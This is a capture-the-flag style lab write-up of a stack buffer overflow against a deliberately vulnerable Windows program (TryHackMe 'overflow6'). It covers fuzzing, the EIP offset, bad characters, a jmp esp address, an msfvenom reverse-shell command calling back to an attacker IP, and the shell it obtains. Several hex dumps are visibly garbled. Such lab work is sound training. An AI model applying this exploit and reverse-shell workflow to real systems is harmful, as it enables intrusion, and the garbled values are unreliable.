

overflow 6

1. Determine min buffersize

```
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing crashed at 1100 bytes
[Finished in 25.9s]
```

2. Determine EIP

Registers (FPU)		
EAX	0196F618	ASCII
ECX	00895744	
EDX	00000000	
EBX	42326942	
ESP	0196FA30	ASCII
EBP	69423369	
ESI	00000000	
EDI	00000000	
EIP	35694234	

- EIP: 35694234

3. Determine offset

```
(root@kali)-[~/tryhackme/bufferOverflowPrep/overflow6]
# msf-pattern_offset -l 2500 -q 35694234
[*] Exact match at offset 1034
```

- EIP Offset: 1034

4. Test with Bs

Registers (FPU)		
EAX	0193F618	A
ECX	00555744	
EDX	00000000	
EBX	41414141	
ESP	0193FA30	A
EBP	41414141	
ESI	00000000	
EDI	00000000	
EIP	42424242	

5. Determine badchars

43	43	43	43	43	43	43	01	CCCCC
02	03	04	05	06	07	0A	0D	♥♦♣♠
0A	0B	0C	0D	0E	0F	10	11	.σ. .♪♫
12	13	14	15	16	17	18	19	↑!!¶\$ _↓
1A	1B	1C	1D	1E	1F	20	21	→←_↔^↖
22	23	24	25	26	27	28	29	"#\$%&'
2A	2B	0A	0D	2E	2F	30	31	*+ . . . /
32	33	34	35	36	37	38	39	234567
3A	3B	3C	3D	3E	3F	40	41	: ; < = > ?
42	43	44	45	46	47	48	49	BCDEFG
4A	4B	4C	4D	4E	4F	50	51	JKLMNO
52	53	54	55	56	57	58	59	RSTUVW
5A	5B	5C	5D	5E	5F	60	61	Z[\]^_
62	63	64	65	66	67	68	69	bcdefg
6A	6B	6C	6D	6E	6F	70	71	jklmno
72	73	74	75	76	77	78	79	rstuvw
7A	7B	7C	7D	7E	7F	80	81	z{ } ~ Δ
82	83	84	85	86	87	88	89	éâäåàåç
8A	8B	8C	8D	8E	8F	90	91	èïîìÄÅ
92	93	94	95	96	97	98	99	Æôöòûù
9A	9B	9C	9D	9E	9F	A0	A1	ü☼£¥℞ƒ
A2	A3	A4	A5	A6	A7	A8	A9	óúñÑ≡
AA	AB	AC	0A	0D	AF	B0	B1	¬½¼ . >>
B2	B3	B4	B5	B6	B7	B8	B9	▣ + + +
BA	BB	BC	BD	BE	BF	C0	C1	+ + +
C2	C3	C4	C5	C6	C7	C8	C9	└└└└└└└
CA	CB	CC	CD	CE	CF	D0	D1	└└└└└└└
D2	D3	D4	D5	D6	D7	D8	D9	└└└└└└└
DA	DB	DC	DD	DE	DF	E0	E1	└└└└└└└

6. Remove \x08

01	02	03	04	05	06	07	09	☺☹♥♦♣♠
0A	0B	0C	0D	0E	0F	10	11	. ° . . ♪ ♫
12	13	14	15	16	17	18	19	↑ ↓ ¶ § _ ↑ ↓
1A	1B	1C	1D	1E	1F	20	21	+ × _ ÷ ↔ ▲ ▼
22	23	24	25	26	27	28	29	" # \$ % & ' ,
2A	2B	0A	0D	2E	2F	30	31	* + . . /
32	33	34	35	36	37	38	39	2345678
3A	3B	3C	3D	3E	3F	40	41	: ; < = > ? @
42	43	44	45	46	47	48	49	BCDEFGH
4A	4B	4C	4D	4E	4F	50	51	JKLMNO
52	53	54	55	56	57	58	59	RSTUVW
5A	5B	5C	5D	5E	5F	60	61	Z[\] ^ _
62	63	64	65	66	67	68	69	bcdefgh
6A	6B	6C	6D	6E	6F	70	71	ijklmnop
72	73	74	75	76	77	78	79	rstuvwxy
7A	7B	7C	7D	7E	7F	80	81	z{ } ~ Δ ◊
82	83	84	85	86	87	88	89	é â ã ä å ç è
8A	8B	8C	8D	8E	8F	90	91	è ì î ï Ä Å Æ
92	93	94	95	96	97	98	99	Ė ô ö ò ù ù ù
9A	9B	9C	9D	9E	9F	A0	A1	ü Ÿ £ ¥ ¤ ¤ ¤
A2	A3	A4	A5	A6	A7	A8	A9	ó ú ñ Ñ ã õ
AA	AB	AC	0A	0D	AF	B0	B1	¬ ½ ¾ . . »
B2	B3	B4	B5	B6	B7	B8	B9	■
BA	BB	BC	BD	BE	BF	C0	C1	
C2	C3	C4	C5	C6	C7	C8	C9	T T T T T
CA	CB	CC	CD	CE	CF	D0	D1	T T T T T
D2	D3	D4	D5	D6	D7	D8	D9	T T T T T
DA	DB	DC	DD	DE	DF	E0	E1	T T T T T
E2	E3	E4	E5	E6	E7	E8	E9	Γ Π Σ σ μ ρ ς
EA	EB	EC	ED	EE	EF	F0	F1	Ω δ ∞ ∅ € №
F2	F3	F4	F5	F6	F7	F8	F9	≥ ≤ ∫ √ ÷ ≈
FA	FB	FC	FD	FE	FF	0D	0A	. √ ° ° ° ° °

7. Remove $\setminus x^2 c$

43	01	02	03	04	05	06	07	C	©	®	™	♦	♠	♣
09	0A	0B	0C	0D	0E	0F	10	.	°	·	ˆ	˜	♫	♬
11	12	13	14	15	16	17	18	◀	↕		¶	§	–	—
19	1A	1B	1C	1D	1E	1F	20	↓	→	+	+	+	+	▲
21	22	23	24	25	26	27	28	!	"	#	\$	%	&	'
29	2A	2B	2D	2E	2F	30	31)	*	+	-	.	/	
32	33	34	35	36	37	38	39	2	3	4	5	6	7	
3A	3B	3C	3D	3E	3F	40	41	:	;	<	=	>	?	
42	43	44	45	46	47	48	49	B	C	D	E	F	G	
4A	4B	4C	4D	4E	4F	50	51	J	K	L	M	N	O	
52	53	54	55	56	57	58	59	R	S	T	U	V	W	
5A	5B	5C	5D	5E	5F	60	61	Z	[\]	^	_	
62	63	64	65	66	67	68	69	b	c	d	e	f	g	
6A	6B	6C	6D	6E	6F	70	71	j	k	l	m	n	o	
72	73	74	75	76	77	78	79	r	s	t	u	v	w	
7A	7B	7C	7D	7E	7F	80	81	z	{		}	~	Δ	
82	83	84	85	86	87	88	89	é	â	ä	å	â	ç	
8A	8B	8C	8D	8E	8F	90	91	è	ï	î	ï	Ä	Å	
92	93	94	95	96	97	98	99	Æ	ô	ö	ö	Ü	Ù	
9A	9B	9C	9D	9E	9F	A0	A1	ü	¢	£	¥	₹	₹	
A2	A3	A4	A5	A6	A7	A8	A9	ó	ú	ñ	Ñ	≡	Ω	
AA	AB	AC	0A	0D	AF	B0	B1	¬	½	¾	.	.	>>	
B2	B3	B4	B5	B6	B7	B8	B9	■		†	‡	§	¶	
BA	BB	BC	BD	BE	BF	C0	C1		¶	§	¶	§	¶	
C2	C3	C4	C5	C6	C7	C8	C9	T	T	+	+	+	+	
CA	CB	CC	CD	CE	CF	D0	D1	T	T	+	+	+	+	
D2	D3	D4	D5	D6	D7	D8	D9	π	π	π	π	π	π	
DA	DB	DC	DD	DE	DF	E0	E1	π	π	π	π	π	π	
E2	E3	E4	E5	E6	E7	E8	E9	Γ	Π	Σ	σ	μ	γ	
EA	EB	EC	ED	EE	EF	F0	F1	Ω	δ	∞	∅	€	ℓ	
F2	F3	F4	F5	F6	F7	F8	F9	≥	≤	∫	∫	÷	≈	
FA	FB	FC	FD	FE	FF	0D	0A	.	←	→	↕	↕	↕	
00	00	00	00	00	00	00	00							

8. Remove \xad

43	43	01	02	03	04	05	06
07	09	0A	0B	0C	0D	0E	0F
10	11	12	13	14	15	16	17
18	19	1A	1B	1C	1D	1E	1F
20	21	22	23	24	25	26	27
28	29	2A	2B	2D	2E	2F	30
31	32	33	34	35	36	37	38
39	3A	3B	3C	3D	3E	3F	40
41	42	43	44	45	46	47	48
49	4A	4B	4C	4D	4E	4F	50
51	52	53	54	55	56	57	58
59	5A	5B	5C	5D	5E	5F	60
61	62	63	64	65	66	67	68
69	6A	6B	6C	6D	6E	6F	70
71	72	73	74	75	76	77	78
79	7A	7B	7C	7D	7E	7F	80
81	82	83	84	85	86	87	88
89	8A	8B	8C	8D	8E	8F	90
91	92	93	94	95	96	97	98
99	9A	9B	9C	9D	9E	9F	A0
A1	A2	A3	A4	A5	A6	A7	A8
A9	AA	AB	AC	AE	AF	B0	B1
B2	B3	B4	B5	B6	B7	B8	B9
BA	BB	BC	BD	BE	BF	C0	C1
C2	C3	C4	C5	C6	C7	C8	C9
CA	CB	CC	CD	CE	CF	D0	D1
D2	D3	D4	D5	D6	D7	D8	D9
DA	DB	DC	DD	DE	DF	E0	E1
E2	E3	E4	E5	E6	E7	E8	E9
EA	EB	EC	ED	EE	EF	F0	F1
F2	F3	F4	F5	F6	F7	F8	F9
FA	FB	FC	FD	FE	FF	0D	0A

- badChars: \x00\x08\x2c\xad

9. Find suitable JMP

Base	Top	Size	Rebase	SafeSEH	ASLR	NXCompat	OS Dll	Version, ModuleName & Path
0x77850000	0x77854000	0x0000a000	True	True	True	True	True	6.1.7600.16385 Lpk.dll] (C:\windows\system32\lpk.dll)
0x77800000	0x77806000	0x00006000	True	True	True	True	True	6.1.7600.16385 Nls.dll] (C:\windows\system32\Nls.dll)
0x62500000	0x62508000	0x00008000	False	False	False	False	True	-1.0- [essfunc.dll] (C:\users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
0x773c0000	0x7748c000	0x0000c000	True	True	True	True	True	6.1.7600.16385 Ncstr.dll] (C:\windows\system32\ncstr.dll)
0x77480000	0x7758c000	0x00004000	True	True	True	True	True	6.1.7600.16385 kernelbase.dll] (C:\windows\system32\kernelbase.dll)
0x77240000	0x7727c000	0x0000c000	True	True	True	True	True	6.1.7600.16385 mousecpl.dll] (C:\windows\system32\mousecpl.dll)
0x77320000	0x773b6000	0x00009000	True	True	True	True	True	1.0626.7601.17514 [usp10.dll] (C:\windows\system32\usp10.dll)
0x77480000	0x7758c000	0x00004000	True	True	True	True	True	6.1.7601.17514 [odbc32.dll] (C:\windows\system32\odbc32.dll)
0x7b200000	0x7b5f6000	0x00004000	True	True	True	True	True	6.1.7600.16385 kernel32.dll] (C:\windows\system32\kernel32.dll)
0x75640000	0x756dc000	0x0000c000	True	True	True	True	True	7.0.7600.16385 msctf.dll] (C:\windows\system32\msctf.dll)
0x77690000	0x7776c000	0x00013c00	True	True	True	True	True	6.1.7600.16385 ntdll.dll] (C:\windows\system32\ntdll.dll)
0x766f0000	0x766d1000	0x00001000	True	True	True	True	True	6.1.7600.16385 Rpcrt4.dll] (C:\windows\system32\Rpcrt4.dll)
0x77810000	0x77843000	0x00003500	True	True	True	True	True	6.1.7600.16385 ws2_32.dll] (C:\windows\system32\ws2_32.dll)
0x00400000	0x00514000	0x00001000	False	False	False	False	True	-1.0- [oscp.exe] (C:\users\admin\Desktop\vulnerable-apps\oscp\oscp.exe)
0x76fb0000	0x77079000	0x000c9000	True	True	True	True	True	6.1.7601.17514 User32.dll] (C:\windows\system32\User32.dll)
0x77660000	0x7767f000	0x00001f00	True	True	True	True	True	6.1.7601.17514 [DW32.DLL] (C:\windows\system32\DW32.DLL)
3x625011af	jmp esp	(PAGE_EXECUTE_READ) [essfunc.dll]	ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-	(C:\users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)				
3x625011bb	jmp esp	(PAGE_EXECUTE_READ) [essfunc.dll]	ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-	(C:\users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)				
3x625011c7	jmp esp	(PAGE_EXECUTE_READ) [essfunc.dll]	ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-	(C:\users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)				
3x625011d3	jmp esp	(PAGE_EXECUTE_READ) [essfunc.dll]	ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-	(C:\users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)				
3x625011df	jmp esp	(PAGE_EXECUTE_READ) [essfunc.dll]	ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-	(C:\users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)				
3x625011e5	jmp esp	(PAGE_EXECUTE_READ) [essfunc.dll]	ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-	(C:\users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)				
3x625011f7	jmp esp	(PAGE_EXECUTE_READ) [essfunc.dll]	ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-	(C:\users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)				
3x625011a5	jmp esp	(PAGE_EXECUTE_READ) [essfunc.dll]	ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-	(C:\users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)				
3x62501203	jmp esp	asc11 (PAGE_EXECUTE_READ) [essfunc.dll]	ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-	(C:\users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)				

- Address: 0x625011af
- Little Endian: \xaf\x11\x50\x62

10. Generate shell code

```
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.11.49.241
LPORT=4444 EXITFUNC=thread -b '\x00\x08\x2c\xad' -f python
```

11. Shell obtained

```
(root@kali)~[~/tryhackme/bufferOverflowPrep/overflow6]
# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.11.49.241] from (UNKNOWN) [10.10.146.149] 49257
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>
```